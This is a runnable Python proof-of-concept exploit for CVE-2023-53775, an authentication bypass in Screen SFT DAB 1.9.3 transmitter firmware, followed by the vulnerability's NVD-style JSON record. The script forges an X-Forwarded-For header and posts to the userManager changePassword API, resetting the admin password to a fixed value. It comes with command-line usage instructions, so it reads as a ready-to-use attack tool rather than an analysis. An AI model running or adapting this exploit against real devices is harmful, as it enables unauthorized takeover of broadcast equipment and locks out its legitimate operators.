CVE-2023-53775

import requests import sys # CVE-2023-53775 PoC - Screen SFT DAB Authentication Bypass # Target: Screen SFT DAB <= 1.9.3 # Attack: Change user password via IP-bound session reuse def exploit(target_ip, target_port=8080): """ Exploit authentication bypass in Screen SFT DAB userManager API by reusing IP-bound session identifiers. Args: target_ip: Target device IP address target_port: Target web interface port (default: 8080) """ base_url = f"http://{target_ip}:{target_port}" # Step 1: Obtain valid IP-bound session # Attacker spoofs the IP address of an authenticated user print(f"[*] Targeting Screen SFT DAB at {target_ip}:{target_port}") print("[*] Exploiting IP-bound session reuse vulnerability...") # Step 2: Craft password change request to userManager API # Using spoofed IP as session identifier headers = { 'X-Forwarded-For': target_ip, # IP spoofing for session reuse 'Content-Type': 'application/json', 'User-Agent': 'Screen-SFT-DAB-Client/1.9.3' } # Target userManager API endpoint api_endpoint = f"{base_url}/api/userManager/changePassword" # Password change payload payload = { "targetUser": "admin", "newPassword": "P@ssw0rd123!", "sessionIP": target_ip } print(f"[*] Sending password change request to {api_endpoint}") try: response = requests.post( api_endpoint, json=payload, headers=headers, timeout=10, verify=False ) if response.status_code == 200: print("[+] Password change successful!") print(f"[+] Admin password changed to: P@ssw0rd123!") print(f"[+] Login URL: {base_url}/login") return True else: print(f"[-] Request failed with status: {response.status_code}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") print(f"Example: python {sys.argv[0]} 192.168.1.100 8080") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8080 exploit(target, port)

{"cve": {"id": "CVE-2023-53775", "sourceIdentifier": "[email protected]", "published": "2025-12-10T22:16:18.363", "lastModified": "2026-01-02T13:51:51.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Screen SFT DAB 1.9.3 contains an authentication bypass vulnerability that allows attackers to change user passwords by exploiting weak session management controls. Attackers can reuse IP-bound session identifiers to issue unauthorized requests to the userManager API and modify user credentials without proper authentication."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dbbroadcast:sft_dab_600\\/c_firmware:1.9.3:*:*:*:*:*:*:*", "matchCriteriaId": "B51EAD42-9B3F-44D5-973A-4758498D1339"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dbbroadcast:sft_dab_600\\/c:-:*:*:*:*:*:*:*", "matchCriteriaId": "97E91C9F-B55C-4B1A-BE03-D1F03AC90FE5"}]}]}], "references": [{"url": "https://www.dbbroadcast.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.dbbroadcast.com/products/radio/sft-dab-series-compact-air/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/51456", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.screen.it", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/screen-sft-dab-authentication-bypass-via-user-password-change", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5772.php", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5772.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "Exploit"]}]}}